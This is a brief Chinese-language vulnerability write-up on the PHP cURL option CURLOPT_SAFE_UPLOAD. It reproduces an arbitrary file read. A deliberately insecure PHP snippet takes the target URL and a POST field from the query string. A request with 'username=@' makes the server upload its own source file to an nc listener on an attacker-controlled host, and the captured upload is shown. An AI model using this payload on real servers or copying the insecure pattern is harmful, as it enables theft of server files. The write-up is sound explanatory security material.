概要
TRUE为禁用 @ 前缀在 CURLOPT_POSTFIELDS 中发送文件。
FALSE为启用,@开头的value会被当做文件上传。
PHP 5.5.0 中添加,默认值 FALSE。
PHP 5.6.0 改默认值为 TRUE。
PHP 7 删除了此选项。
影响:CURLOPT_SAFE_UPLOAD选项配置不当结合其他情况可造成任意文件读取。
复现
复现使用的PHP版本:5.6.38
假设有这么一段代码:
www.***.com/
<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
"username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;
然后服务器nc监听一个端口用来接收请求:nc -lvp 1221
通过浏览器访问:
http://www.***.com/?url=http://服务器IP:1221/&username=@
然后服务器接收到文件上传请求:
root@0x00:~# nc -lvp 1221
listening on [any] 1221 ...
36.102.228.115: inverse host lookup failed: Unknown host
connect to [服务器IP] from (UNKNOWN) [36.102.228.115] 37767
POST / HTTP/1.1
Host: 服务器IP:1221
Accept: */*
Content-Length: 557
Content-Type: multipart/form-data; boundary=------------------------d73a99cc8f366fdb
--------------------------d73a99cc8f366fdb
Content-Disposition: form-data; name="username"; filename=""
Content-Type: application/octet-stream
<?php
$url = $_GET['url'];
$username = isset($_GET['username'])?$_GET['username']:"admin";
$data = array(
"username"=> $username
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_SAFE_UPLOAD,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$res = curl_exec($ch);
echo $res;
--------------------------d73a99cc8f366fdb--
参考
/manual/zh/
/2017/12/17/PHP%E7%9A%84libcurl%E4%B8%AD%E5%AD%98%E5%9C%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98/